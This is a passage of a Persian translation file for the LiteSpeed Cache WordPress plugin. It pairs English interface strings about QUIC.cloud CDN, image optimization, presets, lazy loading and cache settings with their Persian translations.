your hosting provider.'=>'برای مدیریت گزینه‌های QUIC.cloud خود، لطفاً با ارائه‌دهنده میزبانی خود تماس بگیرید','To manage your QUIC.cloud options, go to your hosting provider\'s portal.'=>'برای مدیریت گزینه‌های QUIC.cloud خود، به پرتال ارائه‌دهنده میزبانی خود بروید.','QUIC.cloud CDN Options'=>'گزینه‌های CDN QUIC.cloud','Best available WordPress performance, globally fast TTFB, easy setup, and %smore%s!'=>'بهترین عملکرد موجود وردپرس، TTFB سریع جهانی، راه‌اندازی آسان و <a %s>بیشتر</a>!','no matter where they live.'=>'مهم نیست کجا زندگی می‌کنند.','Content Delivery Network Service'=>'خدمات شبکه تحویل محتوا','Enable QUIC.cloud CDN'=>'فعال‌سازی CDN QUIC.cloud','Link & Enable QUIC.cloud CDN'=>'لینک و فعال‌سازی CDN QUIC.cloud','QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users.'=>'CDN QUIC.cloud برای کاربران ناشناس (بدون لینک) <strong>قابل دسترسی نیست</strong>.','QUIC.cloud CDN is currently <strong>fully disabled</strong>.'=>'CDN QUIC.cloud در حال حاضر <strong>کاملاً غیرفعال</strong> است.','Learn More about QUIC.cloud'=>'بیشتر درباره QUIC.cloud بیاموزید','QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.'=>'QUIC.cloud خدمات CDN و بهینه‌سازی آنلاین ارائه می‌دهد و الزامی نیست. شما می‌توانید بسیاری از ویژگی‌های این پلاگین را بدون QUIC.cloud استفاده کنید','Enable QUIC.cloud services'=>'خدمات QUIC.cloud را فعال کنید','Free monthly quota available.'=>'حجم ماهانه رایگان در دسترس است.','Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>.'=>'سایت وردپرس خود را با <strong>خدمات آنلاین QUIC.cloud و CDN</strong> حتی بیشتر سرعت ببخشید.','Accelerate, Optimize, Protect'=>'شتاب دهید، بهینه کنید، محافظت کنید','Check the status of your most important settings and the health of your CDN setup here.'=>'وضعیت مهم‌ترین تنظیمات و سلامت تنظیمات CDN خود را اینجا بررسی کنید.','QUIC.cloud CDN Status Overview'=>'بررسی وضعیت CDN QUIC.cloud','Refresh Status'=>'وضعیت را تازه کنید','Other Static CDN'=>'CDN استاتیک دیگر','Dismiss this notice.'=>'این اعلان را نادیده بگیرید.','Send to twitter to get %s bonus'=>'به توییتر ارسال کنید تا %s پاداش بگیرید','Spread the love and earn %s credits to use in our QUIC.cloud online services.'=>'عشق را گسترش دهید و %s اعتبار برای استفاده در خدمات آنلاین QUIC.cloud کسب کنید','No backup of unoptimized AVIF file exists.'=>'هیچ نسخه پشتیبانی از فایل AVIF بهینه‌نشده وجود ندارد.','AVIF saved %s'=>'فایل AVIF ذخیره شد %s','AVIF file reduced by %1$s (%2$s)'=>'فایل AVIF به میزان %1$s کاهش یافته است (%2$s)','Currently using original (unoptimized) version of AVIF file.'=>'در حال حاضر از نسخه اصلی (غیر بهینه‌سازی شده) فایل AVIF استفاده می‌شود.','Currently using optimized version of AVIF file.'=>'در حال حاضر از نسخه بهینه‌سازی شده فایل AVIF استفاده می‌شود.','WebP/AVIF For Extra srcset'=>'WebP/AVIF برای srcset اضافی','Next-Gen Image Format'=>'فرمت تصویر نسل بعد','Enabled AVIF file successfully.'=>'فایل AVIF با موفقیت فعال شد.','Disabled AVIF file successfully.'=>'فایل AVIF با موفقیت غیرفعال شد.','Reset image optimization counter successfully.'=>'شمارنده بهینه‌سازی تصویر با موفقیت بازنشانی شد.','Filename is empty!'=>'نام فایل خالی است!','You will need to finish %s setup to use the online services.'=>'شما باید راه‌اندازی %s را برای استفاده از خدمات آنلاین کامل کنید.','Sync QUIC.cloud status successfully.'=>'وضعیت QUIC.cloud با موفقیت همگام‌سازی شد.','Linked to QUIC.cloud preview environment, for testing purpose only.'=>'متصل به محیط پیش‌نمایش QUIC.cloud، فقط برای اهداف آزمایشی.','Click here to proceed.'=>'برای ادامه اینجا کلیک کنید.','Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.'=>'سایت شناسایی نشد. QUIC.cloud به‌صورت خودکار غیرفعال شد. لطفاً حساب QUIC.cloud خود را دوباره فعال کنید.','Reset %s activation successfully.'=>'فعال‌سازی %s با موفقیت بازنشانی شد.','Congratulations, %s successfully set this domain up for the online services with CDN service.'=>'تبریک! %s با موفقیت این دامنه را برای خدمات آنلاین با سرویس CDN راه‌اندازی کرد.','Congratulations, %s successfully set this domain up for the online services.'=>'تبریک می‌گوییم، %s این دامنه را برای خدمات آنلاین با موفقیت راه‌اندازی کرد.','Congratulations, %s successfully set this domain up for the anonymous online services.'=>'تبریک می‌گوییم، %s این دامنه را برای خدمات آنلاین ناشناس با موفقیت راه‌اندازی کرد.','%s activation data expired.'=>'داده‌های فعال‌سازی %s منقضی شده است.','Failed to parse %s activation status.'=>'تحلیل وضعیت فعال‌سازی %s ناموفق بود.','Failed to validate %s activation data.'=>'اعتبارسنجی داده‌های فعال‌سازی %s ناموفق بود.','Cert or key file does not exist.'=>'فایل گواهی یا کلید وجود ندارد','You need to activate QC first.'=>'شما ابتدا باید QC را فعال کنید','You need to set the %1$s first. Please use the command %2$s to set.'=>'شما ابتدا باید %1$s را تنظیم کنید. لطفاً از دستور %2$s برای تنظیم استفاده کنید','Failed to get echo data from WPAPI'=>'نتوانستیم داده‌های اکو را از WPAPI دریافت کنیم','The user with id %s has editor access, which is not allowed for the role simulator.'=>'کاربر با شناسه %s دسترسی ویرایشگر دارد که برای نقش شبیه‌ساز مجاز نیست','You have used all of your quota left for current service this month.'=>'شما تمام سهمیه باقی‌مانده خود را برای خدمات جاری در این ماه استفاده کرده‌اید.','Learn more or purchase additional quota.'=>'بیشتر بیاموزید یا سهمیه اضافی خریداری کنید.','You have used all of your daily quota for today.'=>'شما تمام سهمیه روزانه خود را برای امروز استفاده کرده‌اید.','If comment to be kept is like: %1$s write: %2$s'=>'اگر نظری که باید نگه داشته شود مانند: %s بنویسید: %s','When minifying HTML do not discard comments that match a specified pattern.'=>'هنگام فشرده‌سازی HTML، نظراتی که با الگوی مشخصی مطابقت دارند را حذف نکنید','Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.'=>'یک عمل AJAX را در POST/GET مشخص کنید و تعداد ثانیه‌ها برای کش کردن آن درخواست را با یک فاصله جدا کنید.','HTML Keep Comments'=>'HTML نگه داشتن نظرات','AJAX Cache TTL'=>'TTL کش AJAX','You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.'=>'شما تصاویری دارید که منتظر بارگیری هستند. لطفاً منتظر بمانید تا بارگیری خودکار کامل شود، یا اکنون آن‌ها را به صورت دستی بارگیری کنید','Clean all orphaned post meta records'=>'تمام رکوردهای متای پست یتیم را پاک کنید','Orphaned Post Meta'=>'متای پست یتیم','Best available WordPress performance'=>'بهترین عملکرد وردپرس دردسترس','Clean orphaned post meta successfully.'=>'متاهای پست یتیم را با موفقیت پاک کنید','Last Pulled'=>'آخرین کشیده شده','You can list the 3rd party vary cookies here.'=>'شما می‌توانید کوکی‌های متفاوت شخص ثالث را در اینجا فهرست کنید.','Vary Cookies'=>'کوکی‌ها را تغییر دهید','Preconnecting speeds up future loads from a given origin.'=>'پیش‌اتصال بارگذاری‌های آینده را از یک منبع مشخص تسریع می‌کند.','If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.'=>'اگر تم شما از JS برای به‌روزرسانی مینی کارت استفاده نمی‌کند، باید این گزینه را فعال کنید تا محتوای صحیح سبد خرید نمایش داده شود.','Generate a separate vary cache copy for the mini cart when the cart is not empty.'=>'یک نسخه جداگانه از کش متغیر برای مینی کارت زمانی که سبد خرید خالی نیست تولید کنید.','Vary for Mini Cart'=>'Vary for Mini Cart','DNS Preconnect'=>'DNS Preconnect','This setting is %1$s for certain qualifying requests due to %2$s!'=>'این تنظیم به دلیل %2$s برای برخی درخواست‌های واجد شرایط %1$s است!','Listed JS files or inline JS code will be delayed.'=>'فایل‌های JS فهرست‌شده یا کد JS توکار با تاخیر لود می‌شوند.','URL Search'=>'جستجوی URL','JS Delayed Includes'=>'موارد تأخیری JS شامل','Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.'=>'کلید دامنه شما به طور موقت در لیست سیاه قرار گرفته است تا از سوءاستفاده جلوگیری شود. می‌توانید با پشتیبانی در QUIC.cloud تماس بگیرید تا اطلاعات بیشتری کسب کنید.','Cloud server refused the current request due to unpulled images. Please pull the images first.'=>'سرور ابری درخواست فعلی را به دلیل تصاویر بارگذاری نشده رد کرد. لطفاً ابتدا تصاویر را بارگذاری کنید.','Current server load'=>'بار فعلی سرور','Redis encountered a fatal error: %1$s (code: %2$d)'=>'Redis با یک خطای بحرانی مواجه شد: %s (کد: %d)','Started async image optimization request'=>'درخواست بهینه‌سازی تصویر غیرهمزمان آغاز شد','Started async crawling'=>'خزیدن غیرهمزمان آغاز شد','Saving option failed. IPv4 only for %s.'=>'ذخیره گزینه ناموفق بود. فقط IPv4 برای %s.','Cloud server refused the current request due to rate limiting. Please try again later.'=>'سرور ابری درخواست فعلی را به دلیل محدودیت نرخ رد کرد. لطفاً بعداً دوباره تلاش کنید.','Maximum image post id'=>'حداکثر شناسه نوشته تصویر','Current image post id position'=>'موقعیت شناسه نوشته فعلی تصویر','Images ready to request'=>'تصاویر آماده درخواست','Redetect'=>'شناسایی مجدد','If you are using a %1$s socket, %2$s should be set to %3$s'=>'اگر از سوکت %1$s استفاده می‌کنید، %2$s باید روی %3$s تنظیم شود','All QUIC.cloud service queues have been cleared.'=>'تمام صف‌های سرویس QUIC.cloud پاک شد.','Cache key must be integer or non-empty string, %s given.'=>'کلید کش باید عدد صحیح یا رشته غیر خالی باشد، %s داده شده.','Cache key must not be an empty string.'=>'کلید کش نباید رشته خالی باشد.','JS Deferred / Delayed Excludes'=>'استثنائات JS Deferred / Delayed','The queue is processed asynchronously. It may take time.'=>'صف به صورت غیرهمزمان پردازش می‌شود. ممکن است زمان ببرد.','In order to use QC services, need a real domain name, cannot use an IP.'=>'برای استفاده از خدمات QC، به یک نام دامنه واقعی نیاز است، نمی‌توان از یک IP استفاده کرد.','Restore Settings'=>'بازنشانی تنظیمات','This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?'=>'این تنظیمات پشتیبان که %1$s ایجاد شده است را قبل از اعمال پیش‌تنظیم %2$s بازیابی خواهد کرد. هر تغییری که از آن زمان انجام شده باشد از دست خواهد رفت. آیا می‌خواهید ادامه دهید؟','Backup created %1$s before applying the %2$s preset'=>'پشتیبان‌گیری در %1$s قبل از اعمال پیش‌فرض %2$s ایجاد شد','Applied the %1$s preset %2$s'=>'پیش‌فرض %1$s %2$s اعمال شد','Restored backup settings %1$s'=>'تنظیمات پشتیبان %1$s بازیابی شد','Error: Failed to apply the settings %1$s'=>'خطا: اعمال تنظیمات %1$s ناموفق بود','History'=>'تاریخچه','unknown'=>'ناشناخته','Apply Preset'=>'اعمال پیش‌فرض','This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?'=>'این تنظیمات فعلی شما را پشتیبان‌گیری کرده و با تنظیمات پیش‌فرض %1$s جایگزین می‌کند. آیا می‌خواهید ادامه دهید؟','Who should use this preset?'=>'چه کسی باید از این پیش تنظیم استفاده کند؟','Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.'=>'از یک پیش‌تنظیم طراحی شده توسط LiteSpeed رسمی برای پیکربندی سایت خود در یک کلیک استفاده کنید. سعی کنید ملزومات کش بدون ریسک، بهینه‌سازی شدید یا چیزی در میان آن را امتحان کنید','LiteSpeed Cache Standard Presets'=>'تنظیمات از پیش تعیین شده استاندارد کش لایت اسپید','A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores.'=>'برای استفاده از این تنظیمات از پیش تعیین‌شده، اتصال QUIC.cloud مورد نیاز است. حداکثر سطح بهینه‌سازی را برای بهبود امتیاز سرعت صفحه(Pagespeed) فعال می‌کند.','This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.'=>'این پیش‌تنظیم تقریباً مطمئناً به آزمایش و استثناهایی برای برخی از CSS، JS و تصاویر بارگذاری شده به‌صورت تنبل نیاز دارد. به لوگوها یا تصاویر اسلایدری مبتنی بر HTML توجه ویژه‌ای داشته باشید','Inline CSS added to Combine'=>'CSS درون‌خط به ترکیب اضافه شد','Inline JS added to Combine'=>'JS درون‌خط به ترکیب اضافه شد','JS Delayed'=>'JS با تأخیر','Viewport Image Generation'=>'تولید تصویر نمای دید','Lazy Load for Images'=>'بارگذاری تنبل برای تصاویر','Everything in Aggressive, Plus'=>'همه چیز در حالت تهاجمی، به علاوه','Extreme'=>'افراطی','This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.'=>'این پیش‌تنظیم ممکن است به‌طور پیش‌فرض برای برخی وب‌سایت‌ها کار کند، اما حتماً آزمایش کنید! برخی از استثنائات CSS یا JS ممکن است در بهینه‌سازی صفحه > تنظیمات ضروری باشد','Lazy Load for Iframes'=>'بارگذاری تنبل برای iframe ها','Removed Unused CSS for Users'=>'CSS غیرقابل استفاده برای کاربران حذف شد','Asynchronous CSS Loading with Critical CSS'=>'بارگذاری CSS غیرهمزمان با CSS بحرانی','CSS & JS Combine'=>'ترکیب JS و CSS','Everything in Advanced, Plus'=>'همه چیز در پیشرفته، پلاس','Aggressive'=>'تهاجمی','A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores.'=>'برای استفاده از این تنظیمات از پیش تعیین‌شده، اتصال QUIC.cloud مورد نیاز است. شامل بسیاری از بهینه‌سازی‌های شناخته‌شده برای بهبود امتیاز سرعت صفحه است.','This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools.'=>'این پیش‌تنظیم برای اکثر وب‌سایت‌ها مناسب است و به احتمال زیاد باعث تداخل نمی‌شود. هرگونه تداخل CSS یا JS ممکن است با بهینه‌سازی صفحه > ابزارهای تنظیم حل شود.','Remove Query Strings from Static Files'=>'حذف رشته‌های پرس و جو از فایل‌های استاتیک','DNS Prefetch for static files'=>'پیش‌بارگذاری DNS برای فایل‌های استاتیک','JS Defer for both external and inline JS'=>'تأخیر JS برای JS خارجی و درون‌خط','CSS, JS and HTML Minification'=>'فشرده‌سازی CSS، JS و HTML','Guest Mode and Guest Optimization'=>'حالت مهمان و بهینه‌سازی مهمان','Everything in Basic, Plus'=>'همه چیز در Basic و Plus','Advanced (Recommended)'=>'پیشرفته (پیشنهادی)','This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners.'=>'این پیش تنظیم کم خطر از پیش تعیین شده بهینه سازی‌های اساسی را برای سرعت و تجربه کاربر معرفی می کند. مناسب برای مبتدیان علاقه‌مند.','Mobile Cache'=>'کش موبایل','Everything in Essentials, Plus'=>'همه موارد ملزومات، به اضافه','A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled.'=>'برای استفاده از این تنظیمات پیش‌فرض، نیازی به اتصال QUIC.cloud نیست. فقط ویژگی‌های ذخیره‌سازی اولیه فعال هستند.','This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development.'=>'این پیش تنظیم بدون خطر برای همه وب سایت ها مناسب است. برای کاربران جدید، وب‌سایت‌های ساده یا توسعه مبتنی بر حافظه پنهان خوب است.','Higher TTL'=>'TTL بالاتر','Default Cache'=>'کش پیشفرض','Essentials'=>'ملزومات','LiteSpeed Cache Configuration Presets'=>'پیکربندی از پیش تعیین شده کش لایت اسپید','Standard Presets'=>'پیش‌تنظیمات استاندارد','Listed CSS files will be excluded from UCSS and saved to inline.'=>'فایل‌های CSS فهرست‌شده از UCSS مستثنی شده و به صورت درون‌خط ذخیره خواهند شد','UCSS Selector Allowlist'=>'فهرست مجاز انتخابگر UCSS','Presets'=>'از پیش تعیین شده','Partner Benefits Provided by'=>'مزایای شریک ارائه شده توسط','LiteSpeed Logs'=>'گزارشات لایت اسپید','Crawler Log'=>'لاگ خزنده','Purge Log'=>'حذف لاگ','Prevent writing log entries that include listed strings.'=>'جلوگیری از نوشتن ورودی‌های لاگ که شامل رشته‌های لیست‌شده هستند.','View Site Before Cache'=>'مشاهده سایت قبل از کش','View Site Before Optimization'=>'مشاهده سایت قبل از بهینه سازی','Debug Helpers'=>'ابزارهای اشکال‌زدایی','Enable Viewport Images auto generation cron.'=>'فعال‌سازی کرون تولید خودکار تصاویر نمای.','This enables the page\'s initial screenful of imagery to be fully displayed without delay.'=>'این امکان را می‌دهد که تصویر اولیه صفحه به‌طور کامل بدون تأخیر نمایش داده شود.','The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.'=>'سرویس تصاویر نمای تشخیص می‌دهد که کدام تصاویر در بالای صفحه ظاهر می‌شوند و آن‌ها را از بارگذاری تنبل مستثنی می‌کند.','When you use Lazy Load, it will delay the loading of all images on a page.'=>'زمانی که از بارگذاری تنبل استفاده می‌کنید، بارگذاری تمام تصاویر در یک صفحه را به تأخیر می‌اندازد.','Use %1$s to bypass remote image dimension check when %2$s is ON.'=>'از %1$s برای دور زدن بررسی ابعاد تصویر از راه دور زمانی که %2$s فعال است استفاده کنید.','VPI'=>'VPI','%s must be turned ON for this setting to work.'=>'برای اینکه این تنظیم کار کند، %s باید روشن باشد.','Viewport Image'=>'تصویر نمای','API: Filter %s available to disable blocklist.'=>'فیلتر %s برای غیرفعال کردن لیست سیاه در دسترس است.','API: PHP Constant %s available to disable blocklist.'=>'ثابت PHP %s برای غیرفعال کردن لیست سیاه در دسترس است','Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:'=>'لطفاً افزونه‌های شناسایی شده زیر را غیرفعال کنید، زیرا ممکن است آن‌ها با LiteSpeed ​​Cache تداخل داشته باشند:','Mobile'=>'موبایل','Disable VPI'=>'غیرفعال کردن VPI','Disable Image Lazyload'=>'غیرفعال کردن لود تنبل تصاویر','Disable Cache'=>'غیرفعال کردن کش','Debug String Excludes'=>'استثناهای رشته اشکال‌زدایی','Viewport Images Cron'=>'کرون تصاویر نمای','Viewport Images'=>'تصاویر نمای دید','Alias is in use by another QUIC.cloud account.'=>'نام مستعار توسط حساب دیگری در QUIC.cloud در حال استفاده است','Unable to automatically add %1$s as a Domain Alias for main %2$s domain.'=>'نمی‌توان به‌طور خودکار %1$s را به‌عنوان یک نام مستعار دامنه برای دامنه اصلی %2$s اضافه کرد','Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.'=>'به‌دلیل احتمال تداخل CDN، نمی‌توان به‌طور خودکار %1$s را به‌عنوان یک نام مستعار دامنه برای دامنه اصلی %2$s اضافه کرد','You cannot remove this DNS zone, because it is still in use. Please update the domain\'s nameservers, then try to delete this zone again, otherwise your site will become inaccessible.'=>'شما نمی‌توانید این ناحیه DNS را حذف کنید، زیرا هنوز در حال استفاده است. لطفاً نام‌سرورهای دامنه را به‌روزرسانی کنید، سپس دوباره سعی کنید این ناحیه را حذف کنید، در غیر این صورت سایت شما غیرقابل دسترسی خواهد شد','The site is not a valid alias on QUIC.cloud.'=>'این سایت یک نام مستعار معتبر در QUIC.cloud نیست.','Please thoroughly test each JS file you add to ensure it functions as expected.'=>'لطفاً هر فایل JS که اضافه می‌کنید را به‌طور کامل آزمایش کنید تا اطمینان حاصل شود که به‌درستی کار می‌کند.','Please thoroughly test all items in %s to ensure they function as expected.'=>'لطفاً تمام موارد موجود در %s را به‌طور کامل آزمایش کنید تا اطمینان حاصل شود که به‌درستی کار می‌کنند.','Use %1$s to bypass UCSS for the pages which page type is %2$s.'=>'از %1$s برای دور زدن UCSS برای صفحاتی که نوع صفحه آن %2$s است استفاده کنید.','Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.'=>'از %1$s برای تولید یک UCSS واحد برای صفحاتی که نوع صفحه آن %2$s است استفاده کنید در حالی که سایر نوع صفحات هنوز به ازای URL هستند.','Filter %s available for UCSS per page type generation.'=>'فیلتر %s برای تولید UCSS در هر نوع برگه در دسترس است.','Guest Mode failed to test.'=>'حالت مهمان در آزمایش شکست خورد.','Guest Mode passed testing.'=>'حالت مهمان تست را پشت سر گذاشت.','Testing'=>'آزمودن','Guest Mode testing result'=>'نتیجه تست حالت مهمان','Not blocklisted'=>'در لیست سیاه نیست','Learn more about when this is needed'=>'درباره زمانی که این مورد نیاز است بیشتر بدانید','Cleaned all localized resource entries.'=>'تمام ورودی‌های منبع محلی‌سازی شده پاک‌سازی شد.','View .htaccess'=>'نمایش .htaccess','You can use this code %1$s in %2$s to specify the htaccess file path.'=>'شما می توانید از این کد %1$s در %2$s برای مسیر فایل htaccess مشخص کنید.','PHP Constant %s is supported.'=>'ثابت PHP %s پشتیبانی می شود.','Default path is'=>'مسیر پیشفرض است','.htaccess Path'=>'مسیر .htaccess','Please read all warnings before enabling this option.'=>'لطفاً تمام اختطار ها را قبل از فعال کردن این گزینه بخوانید.','This will delete all generated unique CSS files'=>'این عملیات تمامی فایل‌های CSS یکتای تولیدشده را حذف می‌کند','In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.'=>'برای جلوگیری از خطای ارتقا، شما باید از %1$s یا نسخه‌های جدیدتر استفاده کنید تا بتوانید به نسخه‌های %2$s ارتقا دهید.','Use latest GitHub Dev/Master commit'=>'استفاده از آخرین کامیت گیت هاب Dev/Master','Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.'=>'برای استفاده از آخرین کامیت GitHub، دکمه %s را فشار دهید. Master برای نامزد انتشار و Dev برای آزمایش‌های تجربی است.','Downgrade not recommended. May cause fatal error due to refactored code.'=>'عقب گرد توصیه نمی‌شود. ممکن است به دلیل کد تغییر یافته باعث خطای مهلک شود.','Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.'=>'صفحات را فقط برای بازدیدکنندگان مهمان (واردنشده) بهینه کنید. اگر این حالت خاموش باشد، فایل‌های CSS/JS/CCSS توسط هر گروه کاربری دو برابر می‌شود.','Listed JS files or inline JS code will not be optimized by %s.'=>'فایل‌های JS فهرست‌شده یا کد JS توکار توسط %s بهینه‌سازی نخواهند شد.','Listed URI will not generate UCSS.'=>'URI فهرست شده UCSS تولید نخواهد کرد.','The selector must exist in the CSS. Parent classes in the HTML will not work.'=>'انتخاب‌گر باید در CSS وجود داشته باشد. کلاس‌های والد در HTML کار نخواهند کرد.','Wildcard %s supported.'=>'کاراکتر جایگزین %s پشتیبانی می‌شود.','Useful for above-the-fold images causing CLS (a Core Web Vitals metric).'=>'برای تصاویر بالای صفحه که باعث CLS (یک معیار Core Web Vitals) می‌شوند، مفید است','Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).'=>'عرض و ارتفاع مشخصی را برای عناصر تصویر تنظیم کنید تا جابجایی‌های طرح را کاهش دهید و CLS (یک معیار Core Web Vitals) را بهبود بخشید.','Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.'=>'تغییرات در این تنظیمات به LQIPهای قبلاً تولید شده اعمال نمی‌شود. برای بازتولید LQIPهای موجود، لطفاً ابتدا %s را از منوی نوار مدیریت انتخاب کنید.','Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).'=>'به تعویق انداختن تا زمانی که صفحه تجزیه شود یا تاخیر در تعامل می‌تواند به کاهش رقابت منابع و بهبود عملکرد کمک کند و باعث کاهش FID (معیار Core Web Vitals) شود','Delayed'=>'با تاخیر','JS error can be found from the developer console of browser by right clicking and choosing Inspect.'=>'خطای JS را می‌توان از کنسول توسعه‌دهنده مرورگر با کلیک راست و انتخاب Inspect پیدا کرد.','This option may result in a JS error or layout issue on frontend pages with certain themes/plugins.'=>'این گزینه ممکن است منجر به خطای JS یا مشکل چیدمان در صفحات جلویی با مضامین/افزونه های خاص شود.','This will also add a preconnect to Google Fonts to establish a connection earlier.'=>'این همچنین یک پیش‌اتصال به Google Fonts اضافه می‌کند تا ارتباط زودتر برقرار شود.','Delay rendering off-screen HTML elements by its selector.'=>'رندر کردن عناصر HTML خارج از صفحه را با انتخاب‌گر آن به تأخیر بیندازید.','Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.'=>'این گزینه را غیرفعال کنید تا CCSS را بر اساس نوع پست به جای صفحه تولید کنید. این می‌تواند سهمیه CCSS قابل توجهی را ذخیره کند، اما ممکن است منجر به استایل نادرست CSS شود اگر سایت شما از یک سازنده صفحه استفاده کند.','This option is bypassed due to %s option.'=>'این گزینه به دلیل گزینه %s دور زده شده است.','Elements with attribute %s in HTML code will be excluded.'=>'عناصر با ویژگی %s در کد HTML حذف خواهند شد','Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously.'=>'از سرویس آنلاین QUIC.cloud برای تولید CSS حیاتی و بارگیری CSS باقیمانده به صورت ناهمگام استفاده کنید.','This option will automatically bypass %s option.'=>'این گزینه به طور خودکار گزینه %s را دور می زند.','Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.'=>'UCSS توکار برای کاهش بارگذاری اضافی فایل CSS. این گزینه به طور خودکار برای صفحات %1$s روشن نمی شود. برای استفاده در صفحات %1$s، لطفاً آن را روی روشن تنظیم نمایید.','Run %s Queue Manually'=>'%s صف را به صورت دستی اجرا کنید','This option is bypassed because %1$s option is %2$s.'=>'این گزینه دور زده شده است زیرا گزینه %1$s برابر با %2$s است.','Automatic generation of unique CSS is in the background via a cron-based queue.'=>'تولید خودکار CSS یکتا در پس‌زمینه از طریق یک صف مبتنی بر cron است.','This will drop the unused CSS on each page from the combined file.'=>'با این کار CSS استفاده نشده در هر صفحه از فایل ترکیبی حذف می شود.','HTML Settings'=>'تنظیمات HTML','LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.'=>'افزونه کش لایت اسپید به‌روزرسانی شد. لطفا برای تکمیل به‌روزرسانی داده‌های پیکربندی صفحه را رفرش کنید.','Listed IPs will be considered as Guest Mode visitors.'=>'IPهای فهرست شده به عنوان حالت مهمان در نظر گرفته می‌شوند.','Listed User Agents will be considered as Guest Mode visitors.'=>'عوامل کاربر فهرست شده به عنوان حالت مهمان در نظر گرفته می‌شوند.','Your %1$s quota on %2$s will still be in use.'=>'سهمیهٔ %1$s شما در %2$s همچنان در حال استفاده خواهد بود.','This option can help to correct the cache vary for certain advanced mobile or tablet visitors.'=>'این گزینه می‌تواند به تصحیح حافظه پنهان متفاوت برای بازدیدکنندگان خاص موبایل پیشرفته یا تبلت کمک کند.','Guest Mode provides an always cacheable landing page for an automated guest\'s first time visit, and then attempts to update cache varies via AJAX.'=>'حالت مهمان یک برگه فرود همیشه قابل کش را برای اولین بازدید خودکار مهمان‌ها فراهم می‌کند، و سپس تلاش می‌کند تا کش‌ متفاوت را از طریق AJAX به‌روزرسانی کند.','Please make sure this IP is the correct one for visiting your site.'=>'لطفا مطمئن شوید که این IP برای بازدید از سایت شما صحیح است.','the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server.'=>'اگر یک مجموعه IP خروجی اضافی داشته باشید، یا چندین IP را روی سرور خود پیکربندی کرده باشید ممکن است شناسایی خودکار IP دقیق نباشد.','You need to turn %s on and finish all WebP generation to get maximum result.'=>'شما نیاز دارید %s را روشن کنید و تولید WebP را تمام کنید تا بهترین نتیجه را بگیرید.','You need to turn %s on to get maximum result.'=>'برای به دست آوردن حداکثر نتیجه نیاز دارید %s روشن کنید.','This option enables maximum optimization for Guest Mode visitors.'=>'این گزینه بیشترین بهینه‌سازی را برای بازدیدکنندگان حالت مهمان فعال می کند.','More'=>'بیشتر','Remaining Daily Quota'=>'سهمیه روزانه باقیمانده','Successfully Crawled'=>'با موفقیت خزیده شد','Already Cached'=>'قبلا کش شده','The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here.'=>'خزنده از نقشه سایت XML یا نمایه نقشه سایت شما استفاده خواهد کرد. آدرس کامل نقشه سایت خود را اینجا وارد کنید.','Optional when API token used.'=>'اگر از API token استفاده می‌کنید اختیاری است.','Recommended to generate the token from Cloudflare API token template "WordPress".'=>'توصیه می‌شود توکن را از الگوی توکن API Cloudflare "WordPress" تولید کنید.','Global API Key / API Token'=>'کلید API جهانی / توکن API','NOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s.'=>'توجه: QUIC.cloud CDN و Cloudflare از CDN Mapping استفاده نمیکنند. اگر فقط از QUIC.cloud یا Cloudflare استفاده میکنید، این تنظیم را روی %s نگه دارید.','Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN.'=>'اگر از یک شبکه تحویل محتوای سنتی (CDN) یا یک زیر دامنه برای محتوای استاتیک با QUIC.cloud CDN استفاده می‌کنید، این تنظیم را روی %s قرار دهید.','Use external object cache functionality.'=>'از قابلیت object cache خارجی استفاده نمایید.','Serve a separate cache copy for mobile visitors.'=>'یک نسخه کش جدا برای بازدیدکنندگان موبایل ارائه دهید.','By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.'=>'به طور پیش‌فرض، صفحات حساب من، تسویه حساب و سبد خرید به طور خودکار از کش کردن مستثنی می‌شوند. پیکربندی نادرست ارتباطات صفحات در تنظیمات ووکامرس ممکن است باعث شود 